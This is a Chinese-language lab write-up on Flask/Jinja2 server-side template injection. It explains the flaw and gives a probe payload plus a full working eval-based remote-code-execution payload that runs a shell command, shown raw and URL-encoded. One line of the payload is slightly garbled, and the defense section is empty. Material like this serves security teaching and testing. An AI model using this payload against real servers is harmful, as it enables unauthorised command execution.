| 说明 | 内容 |
|---|---|
| 漏洞编号 | |
| 漏洞名称 | Flask (Jinja2) 服务端模板注入漏洞 |
| 漏洞评级 | 高危 |
| 影响版本 | 使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。 |
| 漏洞描述 | Flask 是一个流行的 Python Web 框架,而 Jinja2 是其默认的模板引擎。服务端模板注入漏洞发生在应用程序使用模板引擎渲染用户提供的数据时,未能正确过滤或转义用户输入,导致攻击者可以注入自己的模板代码,从而执行恶意操作。 |
| 修复方案 | 打补丁,上设备,升级组件 |
在模板引擎中,开发者可以使用特定的语法将数据与模板结合生成最终的输出。然而,如果在这个过程中,直接使用用户提供的数据而没有进行适当的过滤或转义,攻击者就可以注入恶意模板代码。
攻击者可以构造恶意的输入,在用户输入中包含模板标记(如 {{}}),以控制模板引擎的行为。模板引擎会将用户提供的数据作为代码来执行,导致恶意代码执行在服务端上下文中。
服务端模板注入漏洞可能导致以下危害:
环境启动

访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。

获取eval函数并执行任意python代码的POC:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{undefined{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
放在url中需要编码,编码后的结果
{%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}{%%20if%20b.__class__%20==%20{}.__class__%20%}{%%20if%20%27eval%27%20in%20b.keys()%20%}{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}{%%20endif%20%}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}
然后我们执行,发现命令执行成功。

漏洞防御: 以下是一些防御措施来预防 Flask(Jinja2)服务端模板注入漏洞: